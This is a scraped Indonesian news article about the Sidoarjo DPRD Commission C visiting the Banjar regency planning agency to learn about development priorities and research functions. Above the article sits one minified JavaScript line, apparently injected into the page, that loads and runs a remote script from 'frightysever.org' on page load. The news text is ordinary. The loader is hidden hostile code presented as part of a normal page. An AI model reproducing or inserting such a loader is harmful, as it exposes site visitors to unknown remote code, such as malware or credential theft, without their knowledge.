(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Belajar Prioritas Pembangunan, Komisi C DPRD Sidoarjo Kunjungan Kerja ke Bappedalitbang Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Komisi C DPRD Kabupaten Sidoarjo, Jawa Timur melakukan kunjungan kerja ke Badan Perencanaan Pembangunan Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar, Selasa (2/4/2024).

Mewakili Kepala, Sekretaris Bappedalitbang Kabupaten Banjar Hanafi, didampingi Kabid Perencanaan Pengendalian dan Evaluasi Mujahid dan Kabid Infrastruktur dan Kewilayahan, Herlina menerima kunjungan tersebut.

Adapun maksud dan tujuan dari diadakannya kunjungan tersebut adalah untuk belajar dan menggali informasi terkait sejauh mana prioritas pembangunan di Kabupaten Banjar sehingga dapat dipadukan dengan Kabupaten Sidoarjo.

Hanafi dalam sambutannya menyambut baik kedatangan rombongan Komisi C DPRD Kabupaten Sidoarjo yang diketuai oleh Muhammad Bahruddin tersebut.

“Kita sama-sama sharing sehingga sehingga ada timbal balik dalam menghadapi pembangunan di daerah masing-masing,” ujar Hanafi.

Sementara ketua Komisi C DPRD, Sidoarjo Bahruddin mengungkapkan keingintahuannya tentang sejauh mana pelaksanaan prioritas pembangunan serta bagaimana fungsi kelitbangan di Kabupaten Banjar.

Menjawab pertanyaan tersebut Kabid PPE Mujahid menjelaskan sebelum penentuan prioritas pembangunan di awal tahun Bappedalitbang Banjar terlebih dahulu memetakan permasalahan di Kabupaten Banjar sebagai dasar skala prioritas, dan setelah isu strategis dari skala prioritas maka digelar Forum Konsultasi Publik (FKP) guna menerima masukan dari Perguruan Tinggi, tokoh masyarakat dan stakeholders terkait.

“Sedangkan untuk Kabupaten Banjar belum mampu untuk membangun Brida sehingga kegiatan riset dan inovasi masih bagian dari bidang di Bappedalitbang, untuk kegiatan kelitbangan berupa kajian dan penelitian diserahkan kepada pihak ketiga karena Bappedalitbang masih belum mempunyai fungsional peneliti sendiri,” jelas dia. (kanalkalimantan.com/bappedalitbang/kk)

Reporter: kk
Editor: Dhani